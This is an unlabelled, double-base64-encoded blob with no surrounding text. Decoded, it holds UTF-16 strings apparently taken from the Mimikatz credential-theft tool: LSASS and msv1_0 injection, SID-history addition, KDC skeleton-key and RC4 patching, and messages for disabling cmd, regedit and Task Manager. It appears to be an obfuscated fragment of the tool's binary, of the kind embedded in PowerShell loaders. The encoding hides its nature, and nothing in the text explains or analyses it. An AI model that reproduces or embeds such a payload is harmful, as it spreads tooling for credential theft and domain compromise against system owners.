pXVk5aVzF2Y25rQUFFc0FhUUIzQUdrQVFRQnVBR1FBUXdCTkFFUUFBQUFBQUVRQWFRQnpBR0VBWWdCc0FHVUFRd0JOQUVRQUFBQUFBR01BYlFCa0FDNEFaUUI0QUdVQUFBQkxBR2tBZHdCcEFFRUFiZ0JrQUZJQVpRQm5BR2tBY3dCMEFISUFlUUJVQUc4QWJ3QnNBSE1BQUFBQUFBQUFBQUJFQUdrQWN3QmhBR0lBYkFCbEFGSUFaUUJuQUdrQWN3QjBBSElBZVFCVUFHOEFid0JzQUhNQUFBQUFBQUFBQUFCeUFHVUFad0JsQUdRQWFRQjBBQzRBWlFCNEFHVUFBQUJMQUdrQWR3QnBBRUVBYmdCa0FGUUFZUUJ6QUdzQVRRQm5BSElBQUFBQUFFUUFhUUJ6QUdFQVlnQnNBR1VBVkFCaEFITUFhd0JOQUdjQWNnQUFBQUFBZEFCaEFITUFhd0J0QUdjQWNnQXVBR1VBZUFCbEFBQUFaQUJ6QUU0QVl3QlRBR1VBY2dCMkFHa0FZd0JsQUFBQUNRQW9BQ1VBZHdCYUFDa0FBQUFBQUFrQVd3QWxBSFVBWFFBZ0FDVUFkd0JhQUNBQUlRQWdBQUFBQUFBQUFBQUFKUUF0QURNQU1nQlRBQUFBQUFBQUFDTUFJQUFsQUhVQUFBQUFBQUFBQUFBSkFDQUFKUUJ3QUNBQUxRQStBQ0FBSlFCd0FBQUFBQUFsQUhjQVdnQWdBQ2dBSlFCMUFDa0FDZ0FBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJRQnBBSE1BWXdCZkFHUUFaUUIwQUc4QWRRQnlBSE1BWHdCakFHRUFiQUJzQUdJQVlRQmpBR3NBWHdCd0FISUFid0JqQUdVQWN3QnpBQ0FBT3dBZ0FFOEFjQUJsQUc0QVVBQnlBRzhBWXdCbEFITUFjd0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFBQUFGQUFZUUIwQUdNQWFBQWdBRThBU3dBZ0FHWUFid0J5QUNBQUp3QWxBSE1BSndBZ0FHWUFjZ0J2QUcwQUlBQW5BQ1VBY3dBbkFDQUFkQUJ2QUNBQUp3QWxBSE1BSndBZ0FFQUFJQUFsQUhBQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYlFCcEFITUFZd0JmQUdjQVpRQnVBR1VBY2dCcEFHTUFYd0J1QUc4QVp3QndBRzhBWHdCd0FHRUFkQUJqQUdnQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QndBR0VBZEFCakFHZ0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQWJnQnZBSFFBWHdCeUFHVUFZUUJrQUhrQUFBQUFBQUFBWXdCdkFHNEFiZ0JsQUdNQWRBQmxBR1FBQUFBQUFBQUFZUUJrQUY4QWFBQnZBR01BWHdCdUFHVUFkQUIzQUc4QWNnQnJBRjhBWmdCdkFISUFiUUJsQUdRQUFBQUFBQUFBWkFCcEFITUFZd0J2QUc0QWJnQmxBR01BZEFCcEFHNEFad0FBQUFBQUFBQmtBR2tBY3dCakFHOEFiZ0J1QUdVQVl3QjBBR1VBWkFBQUFBQUFBQUFBQUdFQWN3QnpBRzhBWXdCcEFHRUFkQUJwQUc0QVp3QUFBR1FBYVFCekFHTUFid0IyQUdVQWNnQnBBRzRBWndBQUFHRUFkUUIwQUdnQVpRQnVBSFFBYVFCakFHRUFkQUJwQUc0QVp3QUFBQUFBSUFBcUFDQUFBQUFnQUM4QUlBQWxBSE1BSUFBdEFDQUFKUUJ6QUFvQUFBQUpBSHdBSUFBbEFITUFDZ0FBQUFBQWJnQjBBR1FBY3dCaEFHa0FMZ0JrQUd3QWJBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBRzBBYVFCekFHTUFYd0JoQUdRQVpBQnpBR2tBWkFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHMEFaUUJ0QUc4QWNnQjVBRjhBWXdCdkFIQUFlUUFnQUNnQVlnQmhBR01BYXdCMUFIQUFLUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBVXdCbEFHRUFjZ0JqQUdnQUlBQWxBSFVBSUFBNkFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJRQnBBSE1BWXdCZkFHRUFaQUJrQUhNQWFRQmtBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBYlFCbEFHMEFid0J5QUhrQVh3QnpBR1VBWVFCeUFHTUFhQUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnRBR2tBY3dCakFGOEFZUUJrQUdRQWN3QnBBR1FBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCdEFHVUFiUUJ2QUhJQWVRQmZBR01BYndCd0FIa0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYlFCcEFITUFZd0JmQUdFQVpBQmtBSE1BYVFCa0FDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFiUUJsQUcwQWJ3QnlBSGtBWHdCd0FISUFid0IwQUdVQVl3QjBBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFGTUFTUUJFQUVnQWFRQnpBSFFBYndCeUFIa0FJQUJtQUc4QWNnQWdBQ2NBSlFCekFDY0FDZ0FBQUFBQUFBQUFBQ0FBS2dBZ0FDVUFjd0FKQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJRQnBBSE1BWXdCZkFHRUFaQUJrQUhNQWFRQmtBQ0FBT3dBZ0FFUUFjd0JCQUdRQVpBQlRBR2tBWkFCSUFHa0Fjd0IwQUc4QWNnQjVBRG9BSUFBd0FIZ0FKUUF3QURnQWVBQWdBQ2dBSlFCMUFDa0FJUUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnRBR2tBY3dCakFGOEFZUUJrQUdRQWN3QnBBR1FBSUFBN0FDQUFUd0J3QUdVQWJnQlFBSElBYndCakFHVUFjd0J6QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYlFCcEFITUFZd0JmQUdFQVpBQmtBSE1BYVFCa0FDQUFPd0FnQUVRQWN3QkNBR2tBYmdCa0FEb0FJQUFsQURBQU9BQjRBQ0FBS0FBbEFIVUFLUUFoQUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiUUJwQUhNQVl3QmZBR0VBWkFCa0FITUFhUUJrQUNBQU93QWdBRThBVXdBZ0FHNEFid0IwQUNBQWN3QjFBSEFBY0FCdkFISUFkQUJsQUdRQUlBQW9BRzhBYmdCc0FIa0FJQUIzQURJQWF3QTRBSElBTWdBZ0FDWUFJQUIzQURJQWF3QXhBRElBY2dBeUFDa0FDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiUUJwQUhNQVl3QmZBR0VBWkFCa0FITUFhUUJrQUNBQU93QWdBRWtBZEFBZ0FISUFaUUJ4QUhVQWFRQnlBR1VBY3dBZ0FHRUFkQUFnQUd3QVpRQmhBSE1BZEFBZ0FESUFJQUJoQUhJQVp3QnpBQW9BQUFCdEFITUFkZ0JqQUhJQWRBQXVBR1FBYkFCc0FBQUFBQUJtYjNCbGJnQUFBR1ozY0hKcGJuUm1BQUFBQUdaamJHOXpaUUFBQUFBQUFHd0Fjd0JoQUhNQWN3QXVBR1VBZUFCbEFBQUFBQUFBQUcwQWN3QjJBREVBWHdBd0FDNEFaQUJzQUd3QUFBQUFBRWtBYmdCcUFHVUFZd0IwQUdVQVpBQWdBRDBBS1FBS0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUcwQWFRQnpBR01BWHdCdEFHVUFiUUJ6QUhNQWNBQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBRzBBWlFCdEFHOEFjZ0I1QUY4QVl3QnZBSEFBZVFBZ0FDMEFJQUJVQUhJQVlRQnRBSEFBYndCc0FHa0FiZ0JsQUNBQWJnQXdBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUcwQWFRQnpBR01BWHdCdEFHVUFiUUJ6QUhNQWNBQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCdEFHOEFkQUJsQUd3QWFRQmlBRjhBUXdCeUFHVUFZUUIwQUdVQVVnQmxBRzBBYndCMEFHVUFRd0J2QUdRQVpRQlhBR2tBZEFCMEFHZ0FVQUJoQUhRQWRBQmxBSElBYmdCU0FHVUFjQUJzQUdFQVl3QmxBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHMEFhUUJ6QUdNQVh3QnRBR1VBYlFCekFITUFjQUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUcwQVpRQnRBRzhBY2dCNUFGOEFZd0J2QUhBQWVRQWdBQzBBSUFCVUFISUFZUUJ0QUhBQWJ3QnNBR2tBYmdCbEFDQUFiZ0F4QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHMEFhUUJ6QUdNQVh3QnRBR1VBYlFCekFITUFjQUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUcwQVpRQnRBRzhBY2dCNUFGOEFZd0J2QUhBQWVRQWdBQzBBSUFCeUFHVUFZUUJzQUNBQVlRQnpBRzBBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHMEFhUUJ6QUdNQVh3QnRBR1VBYlFCekFITUFjQUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUcwQVpRQnRBRzhBY2dCNUFGOEFjd0JsQUdFQWNnQmpBR2dBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiUUJwQUhNQVl3QmZBRzBBWlFCdEFITUFjd0J3QUNBQU93QWdBRThBY0FCbEFHNEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUcwQWFRQnpBR01BWHdCdEFHVUFiUUJ6QUhNQWNBQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSEFBY2dCdkFHTUFaUUJ6QUhNQVh3Qm5BR1VBZEFCUUFISUFid0JqQUdVQWN3QnpBRWtBWkFCR0FHOEFjZ0JPQUdFQWJRQmxBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFCTWIyTmhiRUZzYkc5akFBQUFBQUFBYXdCa0FHTUFjd0IyQUdNQUxnQmtBR3dBYkFBQUFBQUFXd0JMQUVRQVF3QmRBQ0FBWkFCaEFIUUFZUUFLQUFBQVd3QkxBRVFBUXdCZEFDQUFjd0IwQUhJQWRRQmpBSFFBQ2dBQUFBQUFBQUJiQUVzQVJBQkRBRjBBSUFCckFHVUFlUUJ6QUNBQWNBQmhBSFFBWXdCb0FDQUFUd0JMQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUcwQWFRQnpBR01BWHdCekFHc0FaUUJzQUdVQWRBQnZBRzRBSUFBN0FDQUFVd0JsQUdNQWJ3QnVBR1FBSUFCd0FHRUFkQUIwQUdVQWNnQnVBQ0FBYmdCdkFIUUFJQUJtQUc4QWRRQnVBR1FBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnRBR2tBY3dCakFGOEFjd0JyQUdVQWJBQmxBSFFBYndCdUFDQUFPd0FnQUVZQWFRQnlBSE1BZEFBZ0FIQUFZUUIwQUhRQVpRQnlBRzRBSUFCdUFHOEFkQUFnQUdZQWJ3QjFBRzRBWkFBS0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYlFCcEFITUFZd0JmQUhNQWF3QmxBR3dBWlFCMEFHOEFiZ0FnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhBQWNnQnZBR01BWlFCekFITUFYd0JuQUdVQWRBQldBR1VBY2dCNUFFSUFZUUJ6QUdrQVl3Qk5BRzhBWkFCMUFHd0FaUUJKQUc0QVpnQnZBSElBYlFCaEFIUUFhUUJ2QUc0QWN3QkdBRzhBY2dCT0FHRUFiUUJsQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQmpBSElBZVFCd0FIUUFaQUJzQUd3QUxnQmtBR3dBYkFBQUFBQUFBQUFBQUZzQVVnQkRBRFFBWFFBZ0FHWUFkUUJ1QUdNQWRBQnBBRzhBYmdCekFBb0FBQUFBQUFBQUFBQmJBRklBUXdBMEFGMEFJQUJwQUc0QWFRQjBBQ0FBY0FCaEFIUUFZd0JvQUNBQVR3QkxBQW9BQUFBQUFBQUFBQUJiQUZJQVF3QTBBRjBBSUFCa0FHVUFZd0J5QUhrQWNBQjBBQ0FBY0FCaEFIUUFZd0JvQUNBQVR3QkxBQW9BQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUcwQWFRQnpBR01BWHdCekFHc0FaUUJzQUdVQWRBQnZBRzRBSUFBN0FDQUFWUUJ1QUdFQVlnQnNBR1VBSUFCMEFHOEFJQUJqQUhJQVpRQmhBSFFBWlFBZ0FISUFaUUJ0QUc4QWRBQmxBQ0FBWmdCMUFHNEFZd0IwQUdrQWJ3QnVBSE1BQ2dBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJRQnBBSE1BWXdCZkFITUFhd0JsQUd3QVpRQjBBRzhBYmdBZ0FEc0FJQUJQQUhBQVpRQnVBRkFBY2dCdkFHTUFaUUJ6QUhNQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBYkFCdkFHTUFZUUJzQUdjQWNnQnZBSFVBY0FBQUFBQUFad0J5QUc4QWRRQndBQUFBQUFBQUFHNEFaUUIwQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUc0QVpRQjBBRjhBZFFCekFHVUFjZ0FnQURzQUlBQlRBR0VBYlFCUEFIQUFaUUJ1QUVRQWJ3QnRBR0VBYVFCdUFDQUFRZ0IxQUdrQWJBQjBBR2tBYmdBZ0FDZ0FQd0FwQUNBQUpRQXdBRGdBZUFBS0FBQUFDZ0JFQUc4QWJRQmhBR2tBYmdBZ0FHNEFZUUJ0QUdVQUlBQTZBQ0FBSlFCM0FGb0FBQUFBQUFvQVJBQnZBRzBBWVFCcEFHNEFJQUJUQUVrQVJBQWdBQ0FBT2dBZ0FBQUFDZ0FnQUNVQUxRQTFBSFVBSUFBbEFIY0FXZ0FBQUFBQUNnQWdBSHdBSUFBbEFDMEFOUUIxQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBRzRBWlFCMEFGOEFkUUJ6QUdVQWNnQWdBRHNBSUFCVEFHRUFiUUJNQUc4QWJ3QnJBSFVBY0FCSkFHUUFjd0JKQUc0QVJBQnZBRzBBWVFCcEFHNEFJQUFsQURBQU9BQjRBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCdUFHVUFkQUJmQUhVQWN3QmxBSElBSUFBN0FDQUFVd0JoQUcwQVJ3QmxBSFFBUndCeUFHOEFkUUJ3QUhNQVJnQnZBSElBVlFCekFHVUFjZ0FnQUNVQU1BQTRBSGdBQUFBQUFBQUFBQUFLQUNBQWZBQmdBQ1VBTFFBMUFIVUFJQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHNEFaUUIwQUY4QWRRQnpBR1VBY2dBZ0FEc0FJQUJUQUdFQWJRQkhBR1VBZEFCQkFHd0FhUUJoQUhNQVRRQmxBRzBBWWdCbEFISUFjd0JvQUdrQWNBQWdBQ1VBTUFBNEFIZ0FBQUFBQUFvQUlBQjhBTFFBSlFBdEFEVUFkUUFnQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiZ0JsQUhRQVh3QjFBSE1BWlFCeUFDQUFPd0FnQUZNQVlRQnRBRklBYVFCa0FGUUFid0JUQUdrQVpBQWdBQ1VBTUFBNEFIZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJnQmxBSFFBWHdCMUFITUFaUUJ5QUNBQU93QWdBRk1BWVFCdEFFOEFjQUJsQUc0QVZRQnpBR1VBY2dBZ0FDVUFNQUE0QUhnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYmdCbEFIUUFYd0IxQUhNQVpRQnlBQ0FBT3dBZ0FGTUFZUUJ0QUVVQWJnQjFBRzBBWlFCeUFHRUFkQUJsQUZVQWN3QmxBSElBY3dCSkFHNEFSQUJ2QUcwQVlRQnBBRzRBSUFBbEFEQUFPQUI0QUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHNEFaUUIwQUY4QWRRQnpBR1VBY2dBZ0FEc0FJQUJUQUdFQWJRQlBBSEFBWlFCdUFFUUFid0J0QUdFQWFRQnVBQ0FBSlFBd0FEZ0FlQUFBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUc0QVpRQjBBRjhBZFFCekFHVUFjZ0FnQURzQUlBQlRBR0VBYlFCTUFHOEFid0JyQUhVQWNBQkVBRzhBYlFCaEFHa0FiZ0JKQUc0QVV3QmhBRzBBVXdCbEFISUFkZ0JsQUhJQUlBQWxBREFBT0FCNEFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnVBR1VBZEFCZkFIVUFjd0JsQUhJQUlBQTdBQ0FBVXdCaEFHMEFSUUJ1QUhVQWJRQmxBSElBWVFCMEFHVUFSQUJ2QUcwQVlRQnBBRzRBY3dCSkFHNEFVd0JoQUcwQVV3QmxBSElBZGdCbEFISUFJQUFsQURBQU9BQjRBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBRzRBWlFCMEFGOEFkUUJ6QUdVQWNnQWdBRHNBSUFCVEFHRUFiUUJEQUc4QWJnQnVBR1VBWXdCMEFDQUFKUUF3QURnQWVBQUtBQUFBQUFBQUFBQUFaQUJsQUdJQWRRQm5BQUFBQUFBQUFFRUFjd0JyQUNBQVpBQmxBR0lBZFFCbkFDQUFjQUJ5QUdrQWRnQnBBR3dBWlFCbkFHVUFBQUJ3QUhJQWFRQjJBR2tBYkFCbEFHY0FaUUFBQUFBQUFBQlFBSElBYVFCMkFHa0FiQUJsQUdjQVpRQWdBRzBBYndCa0FIVUFiQUJsQUFBQUFBQUFBQUFBVUFCeUFHa0FkZ0JwQUd3QVpRQm5BR1VBSUFBbkFDVUFkUUFuQUNBQVR3QkxBQW9BQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCd0FISUFhUUIyQUdrQWJBQmxBR2NBWlFCZkFITUFhUUJ0QUhBQWJBQmxBQ0FBT3dBZ0FGSUFkQUJzQUVFQVpBQnFBSFVBY3dCMEFGQUFjZ0JwQUhZQWFRQnNBR1VBWndCbEFDQUFLQUFsQUhVQUtRQWdBQ1VBTUFBNEFIZ0FDZ0FBQUFBQUFBQmxBSGdBY0FCdkFISUFkQUJ6QUFBQVRBQnBBSE1BZEFBZ0FHVUFlQUJ3QUc4QWNnQjBBSE1BQUFBQUFBQUFBQUJwQUcwQWNBQnZBSElBZEFCekFBQUFUQUJwQUhNQWRBQWdBR2tBYlFCd0FHOEFjZ0IwQUhNQUFBQUFBQUFBQUFCekFIUUFZUUJ5QUhRQUFBQUFBQUFBVXdCMEFHRUFjZ0IwQUNBQVlRQWdBSEFBY2dCdkFHTUFaUUJ6QUhNQUFBQnpBSFFBYndCd0FBQUFBQUFBQUFBQVZBQmxBSElBYlFCcEFHNEFZUUIwQUdVQUlBQmhBQ0FBY0FCeUFHOEFZd0JsQUhNQWN3QUFBSE1BZFFCekFIQUFaUUJ1QUdRQUFBQlRBSFVBY3dCd0FHVUFiZ0JrQUNBQVlRQWdBSEFBY2dCdkFHTUFaUUJ6QUhNQUFBQUFBQUFBY2dCbEFITUFkUUJ0QUdVQUFBQUFBRklBWlFCekFIVUFiUUJsQUNBQVlRQWdBSEFBY2dCdkFHTUFaUUJ6QUhNQUFBQUFBQUFBQUFCUUFISUFid0JqQUdVQWN3QnpBQ0FBYlFCdkFHUUFkUUJzQUdVQUFBQUFBRlFBY2dCNUFHa0FiZ0JuQUNBQWRBQnZBQ0FBY3dCMEFHRUFjZ0IwQUNBQUlnQWxBSE1BSWdBZ0FEb0FJQUFBQUU4QVN3QWdBQ0VBSUFBb0FGQUFTUUJFQUNBQUpRQjFBQ2tBQ2dBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFIQUFjZ0J2QUdNQVpRQnpBSE1BWHdCekFIUUFZUUJ5QUhRQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QndBSElBYndCakFHVUFjd0J6QUY4QVl3QnlBR1VBWVFCMEFHVUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBRTRBZEFCVUFHVUFjZ0J0QUdrQWJnQmhBSFFBWlFCUUFISUFid0JqQUdVQWN3QnpBQUFBQUFCT0FIUUFVd0IxQUhNQWNBQmxBRzRBWkFCUUFISUFid0JqQUdVQWN3QnpBQUFBQUFBQUFBQUFUZ0IwQUZJQVpRQnpBSFVBYlFCbEFGQUFjZ0J2QUdNQVpRQnpBSE1BQUFBbEFITUFJQUJ2QUdZQUlBQWxBSFVBSUFCUUFFa0FSQUFnQURvQUlBQlBBRXNBSUFBaEFBb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFIQUFjZ0J2QUdNQVpRQnpBSE1BWHdCbkFHVUFiZ0JsQUhJQWFRQmpBRThBY0FCbEFISUFZUUIwQUdrQWJ3QnVBQ0FBT3dBZ0FDVUFjd0FnQURBQWVBQWxBREFBT0FCNEFBb0FBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J3QUhJQWJ3QmpBR1VBY3dCekFGOEFad0JsQUc0QVpRQnlBR2tBWXdCUEFIQUFaUUJ5QUdFQWRBQnBBRzhBYmdBZ0FEc0FJQUJQQUhBQVpRQnVBRkFBY2dCdkFHTUFaUUJ6QUhNQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhBQWNnQnZBR01BWlFCekFITUFYd0JuQUdVQWJnQmxBSElBYVFCakFFOEFjQUJsQUhJQVlRQjBBR2tBYndCdUFDQUFPd0FnQUhBQWFRQmtBQ0FBS0FBdkFIQUFhUUJrQURvQU1RQXlBRE1BS1FBZ0FHa0Fjd0FnQUcwQWFRQnpBSE1BYVFCdUFHY0FBQUFBQUFBQUpRQjFBQWtBSlFCM0FGb0FDZ0FBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J3QUhJQWJ3QmpBR1VBY3dCekFGOEFZd0JoQUd3QWJBQmlBR0VBWXdCckFGQUFjZ0J2QUdNQVpRQnpBSE1BSUFBN0FDQUFUd0J3QUdVQWJnQlFBSElBYndCakFHVUFjd0J6QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhBQWNnQnZBR01BWlFCekFITUFYd0JqQUdFQWJBQnNBR0lBWVFCakFHc0FVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHMEFaUUJ0QUc4QWNnQjVBRjhBYndCd0FHVUFiZ0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUNnQWxBSGNBV2dBQUFBQUFBQUFBQUFvQUNRQWxBSEFBSUFBdEFENEFJQUFsQUhVQUFBQUFBQWtBSlFCMUFBQUFDUUFnQUFBQUFBQUpBQ1VBY0FBQUFBa0FKUUJUQUFBQUNRQXRBRDRBSUFBbEFGTUFBQUFBQUFvQUNRQWxBSEFBSUFBdEFENEFJQUFsQUhBQUNRQWxBRk1BSUFBaEFDQUFBQUFBQUNVQVV3QUFBQUFBQUFBQUFDTUFKUUIxQUFBQVV3QjBBR0VBY2dCMEFDQUFjd0JsQUhJQWRnQnBBR01BWlFBQUFBQUFBQUJTQUdVQWJRQnZBSFlBWlFBZ0FITUFaUUJ5QUhZQWFRQmpBR1VBQUFBQUFGTUFkQUJ2QUhBQUlBQnpBR1VBY2dCMkFHa0FZd0JsQUFBQUFBQUFBQUFBVXdCMUFITUFjQUJsQUc0QVpBQWdBSE1BWlFCeUFIWUFhUUJqQUdVQUFBQlNBR1VBY3dCMUFHMEFaUUFnQUhNQVpRQnlBSFlBYVFCakFHVUFBQUFBQUhBQWNnQmxBSE1BYUFCMUFIUUFaQUJ2QUhjQWJnQUFBRkFBY2dCbEFITUFhQUIxQUhRQVpBQnZBSGNBYmdBZ0FITUFaUUJ5QUhZQWFRQmpBR1VBQUFCekFHZ0FkUUIwQUdRQWJ3QjNBRzRBQUFBQUFBQUFBQUJUQUdnQWRRQjBBR1FBYndCM0FHNEFJQUJ6QUdVQWNnQjJBR2tBWXdCbEFBQUFBQUFBQUFBQVRBQnBBSE1BZEFBZ0FITUFaUUJ5QUhZQWFRQmpBR1VBY3dBQUFBQUFBQUJUQUdVQWNnQjJBR2tBWXdCbEFDQUFiUUJ2QUdRQWRRQnNBR1VBQUFBQUFDVUFjd0FnQUNjQUpRQnpBQ2NBSUFCekFHVUFjZ0IyQUdrQVl3QmxBQ0FBT2dBZ0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCbkFHVUFiZ0JsQUhJQWFRQmpBRVlBZFFCdUFHTUFkQUJwQUc4QWJnQWdBRHNBSUFCVEFHVUFjZ0IyQUdrQVl3QmxBQ0FBYndCd0FHVUFjZ0JoQUhRQWFRQnZBRzRBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFad0JsQUc0QVpRQnlBR2tBWXdCR0FIVUFiZ0JqQUhRQWFRQnZBRzRBSUFBN0FDQUFTUUJ1QUdvQVpRQmpBSFFBSUFCdUFHOEFkQUFnQUdFQWRnQmhBR2tBYkFCaEFHSUFiQUJsQUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQVp3QmxBRzRBWlFCeUFHa0FZd0JHQUhVQWJnQmpBSFFBYVFCdkFHNEFJQUE3QUNBQVRRQnBBSE1BY3dCcEFHNEFad0FnQUhNQVpRQnlBSFlBYVFCakFHVUFJQUJ1QUdFQWJRQmxBQ0FBWVFCeUFHY0FkUUJ0QUdVQWJnQjBBQW9BQUFBQUFGTUFkQUJoQUhJQWRBQnBBRzRBWndBQUFBQUFBQUFBQUZJQVpRQnRBRzhBZGdCcEFHNEFad0FBQUFBQUFBQUFBRk1BZEFCdkFIQU